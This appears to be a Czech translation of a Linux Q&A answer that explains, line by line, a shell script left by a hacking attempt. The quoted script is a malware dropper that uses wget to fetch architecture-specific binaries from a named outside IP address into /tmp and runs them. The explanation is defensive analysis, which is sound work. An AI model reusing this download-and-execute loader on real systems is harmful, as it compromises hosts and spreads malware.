GNU/Linux >> Znalost Linux >  >> Linux

Co dělá tento bash skript? [Pokus o hackování]

Řádek po řádku:

#!/bin/sh

Nastaví sh shell, podle toho, co to je, jako linie shebang. sh%20/tmp/ks v požadavku toto přepíše, takže tento řádek je považován za normální komentář a ignorován.

u="asgknskjdgn"

Deklaruje libovolný název, pravděpodobně proto, aby nedošlo ke kolizi s jinými názvy souborů. Nejsem si jistý, proč by prostě nepoužili mktemp , ale možná to není dostupné na všech platformách.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Vyjmenovává několik běžných architektur CPU.

http_server="80.211.173.159"
http_port=80

Server, který má exploit.

cd /tmp/||cd /var/

Pokusí se změnit adresář na místo, kde bude pravděpodobně váš webový server schopen vytvářet soubory. Věřím, že SELinux s tím pomůže tím, že prosadí mnohem přísnější pravidla o tom, co může webový server dělat, než souborový systém sám o sobě.

for name in $bin_names
    do

Pro každou architekturu CPU…

    rm -rf $u

Odstraní dříve vyzkoušené exploit programy. Zbytečné kvůli dalšímu řádku, takže může být ignorováno.

    cp $SHELL $u

Zkopíruje aktuální spustitelný soubor shellu (/bin/sh ). Může být ignorováno kvůli řádku za dalším.

    chmod 777 $u

Umožňuje všem mít plný přístup k novému souboru. Mělo to být za wget příkaz, který je buď známkou začátečníka ve skriptování shellu, nebo techniky nesprávného nasměrování.

    >$u

Vyprázdní soubor. Bezpředmětné kvůli dalšímu řádku.

    wget http://$http_server:$http_port/$name -O -> $u

Přepíše soubor exploitovým skriptem pro tuto architekturu. -O -> $u mohl být napsán -O - > $u (pomlčka znamená, že stahování by mělo být zapsáno na standardní výstup), což je ekvivalentní -O $u .

    ./$u $name

Spustí exploit skript s architekturou jako prvním argumentem.

done

Ukončí smyčku.

Vypadá to, že se jedná o triviální skript pokusu o zneužití, který zkouší známé exploity proti různým platformám CPU. Nevím, proč to přepisuje $u třikrát, ale tyto operace mohou být jednoduše pozůstatky z dřívější iterace skriptu. Předpokládá se, že dřívější verze měla exploity pevně zakódované, spíše než dynamicky servírované - první verze je jednodušší, ale téměř zaručuje, že skript bude časem méně efektivní, protože budou opravovány chyby.


wget je klíčová nebezpečná linie.

for name in $bin_names pracuje se seznamem platforem a pro každou platformu vyčistí dočasný adresář, zkopíruje shell a poté jej zpřístupní všem.

Poté stáhne soubor pomocí wget a pak jej spustí pomocí programu shellu, který právě zkopíroval.

Skript se v podstatě pokouší stáhnout řadu spustitelných souborů nebo skriptů pro každou platformu, kterou může, a otírá je o váš systém v naději, že to může dále kompromitovat váš systém.


Linux
  1. Předat argumenty příkazového řádku skriptu Bash?

  2. Co znamená Ampersand na konci řádku skriptu Shell?

  3. Tomuto skriptu nerozumím. Bash?

  1. „e:Dílčí proces /usr/bin/dpkg vrátil kód chyby (1) “ Co to znamená?

  2. Co dělá řádek '!/bin/sh -e'?

  3. Čtěte řádek po řádku v bash skriptu

  1. spuštění php skriptu (funkce php) v linux bash

  2. Co znamená - v tomto linuxovém příkazu?

  3. Co znamená set -e ve skriptu bash?